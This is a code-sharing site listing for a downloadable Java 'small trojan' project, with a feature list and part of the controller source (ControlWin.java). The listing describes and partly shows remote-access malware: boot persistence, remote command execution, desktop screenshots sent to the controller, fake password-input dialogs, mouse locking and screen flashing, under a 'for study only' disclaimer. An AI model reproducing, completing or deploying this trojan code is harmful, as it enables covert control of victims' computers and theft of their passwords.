• 大小: 453KB
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2021-05-09
  • 语言: Java
  • 标签: java  木马  源码  leasystu  

资源简介

/* * 本程序仅供学习参考使用。严禁使用本程序进行违法行为! * 本程序功能 * 1、程序开机自动启动(√) * 2、自动发送邮件 * 3、执行dos命令,并将信息返回、这里可以执行关机等命令(√) * 4、锁定鼠标,这里通过一个线程实现 * 5、查看被控制端的桌面,将桌面画面截图并发送给控制端(√) * 6、在被控制端弹出对话框,多种对话框模式(√) * 7、让被控制端闪屏(√) * 本程序仅供学习参考使用。严禁使用本程序进行违法行为! */

资源截图

代码片段和文件信息

import java.io.BufferedWriter;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.UnsupportedEncodingException;
import java.net.Socket;
import java.net.UnknownHostException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Scanner;

/*
 * 本程序仅供学习参考使用。严禁使用本程序进行违法行为!
 * 本程序功能
 * 1、程序开机自动启动,并自动发送邮件(√)
 * 2、自动复制(只在本地)可以方便嵌入到其它java程序当中
 * 3、执行dos命令,并将信息返回、这里可以执行关机等命令(√)
 * 4、锁定鼠标,这里通过一个线程实现
 * 5、查看被控制端的桌面,将桌面画面截图并发送给控制端(√)
 * 6、在被控制端弹出对话框多种对话框模式(√)
 * 7、让被控制端闪屏(√)
 * 本程序仅供学习参考使用。严禁使用本程序进行违法行为!
 * 作者博客:http://blog.csdn.net/leasystu
 */
public class ControlWin {
Socket socket;
DataOutputStream dos;
DataInputStream dis;
String dosS;
Scanner in;
String reString;
int picNum = 1;
int PORT = 1220;
String IP = “127.0.0.1“;
String path = “D:\\pic“;
File file;
BufferedWriter bw;
String fileName;

public ControlWin() {
in = new Scanner(System.in);
System.out.print(“输入IP:“);
IP = in.nextLine().trim();
try {
socket = new Socket(IP PORT);
Date date = new Date();
SimpleDateFormat sdf = new SimpleDateFormat(“MM月dd日HH时mm分“);
fileName = sdf.format(date);
file = new File(“D:\\pic\\“ + fileName);
file.mkdirs();
file = new File(“D:\\pic\\“ + fileName + “\\log.txt“);
try {
bw = new BufferedWriter(new OutputStreamWriter(
new FileOutputStream(file)));
} catch (FileNotFoundException e) {
e.printStackTrace();
}
try {
// 所有的记录都会存在D:\\pic这个目录下~
bw.write(“开始记录“);
bw.newLine();
bw.flush();
} catch (IOException e) {
e.printStackTrace();
}
System.out.println(“contected“);
dos = new DataOutputStream(socket.getOutputStream());
dis = new DataInputStream(socket.getInputStream());
new Thread(new MyInputThread()).start();
go();
} catch (UnknownHostException e) {
e.printStackTrace();
return;
} catch (IOException e) {
e.printStackTrace();
return;
}
}

public void go() {//开始发送命令
while (true) {
System.out.println(“intput commend:“);
dosS = in.nextLine().trim();
if (dosS.startsWith(“-d“) && dosS.length() == 2) {
continue;
} else if (dosS.equals(“exit“)) {
break;
} else if (dosS.equals(““)) {
continue;
} else if (dosS.endsWith(“-help“)) {
System.out
.println(“-doutmsg msg 以对话框形式输出信息\n“
+ “-dinmsg msg弹出一个输入对话框+显示信息msg\n“
+ “-dinpass msg 弹出一个输入密码对话框+显示信息msg\n“
+ “-flash msg 闪屏并显示msg所表示的文字\n“ + “-p:获取图片\n“
+ “-m l锁定键盘 .....-m a取消锁定\n“
+ “输入其则执行相应的dos命令,如输入ipconfig 则显示相应的ip信息\n“
+ “exit:退出“);
continue;
}
try {
dos.writeUTF(dosS);
} catch (IOException e) {
e.printStackTrace();
}
}
}

public void showMsg(String msg) {
if (msg == null) 

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2012-02-17 19:39  小木马程序\
     文件         348  2011-06-16 19:28  小木马程序\.classpath
     文件         391  2012-02-17 18:03  小木马程序\.project
     目录           0  2012-02-17 19:39  小木马程序\.settings\
     文件         130  2012-02-17 18:04  小木马程序\.settings\org.eclipse.core.resources.prefs
     文件         629  2011-06-15 19:19  小木马程序\.settings\org.eclipse.jdt.core.prefs
     目录           0  2012-02-17 19:39  小木马程序\bin\
     文件        1200  2012-02-17 19:25  小木马程序\bin\ControlWin$MyInputThread.class
     文件        5454  2012-02-17 19:25  小木马程序\bin\ControlWin.class
     文件        1460  2012-02-17 19:16  小木马程序\bin\Test$Flash$1.class
     文件         992  2012-02-17 19:16  小木马程序\bin\Test$Flash$2.class
     文件        1721  2012-02-17 19:16  小木马程序\bin\Test$Flash.class
     文件        1706  2012-02-17 19:16  小木马程序\bin\Test$JarUtil.class
     文件        1059  2012-02-17 19:16  小木马程序\bin\Test$MouseLockThread.class
     文件        2004  2012-02-17 19:16  小木马程序\bin\Test$MyCopy.class
     文件        1116  2012-02-17 19:16  小木马程序\bin\Test$MyDialogMsgInput$1.class
     文件        1950  2012-02-17 19:16  小木马程序\bin\Test$MyDialogMsgInput.class
     文件        1123  2012-02-17 19:16  小木马程序\bin\Test$MyDialogPassInput$1.class
     文件        2005  2012-02-17 19:16  小木马程序\bin\Test$MyDialogPassInput.class
     文件         423  2012-02-17 19:16  小木马程序\bin\Test$OtherApp.class
     文件         653  2012-02-17 19:16  小木马程序\bin\Test$ShowDialogThread.class
     文件        1933  2012-02-17 19:16  小木马程序\bin\Test$SMail.class
     文件        8499  2012-02-17 19:16  小木马程序\bin\Test.class
     文件      462098  2011-04-14 16:46  小木马程序\mail.jar
     目录           0  2012-02-17 19:39  小木马程序\src\
     文件        5449  2012-02-17 19:49  小木马程序\src\ControlWin.java
     文件       16145  2012-02-17 19:16  小木马程序\src\Test.java

评论

共有 条评论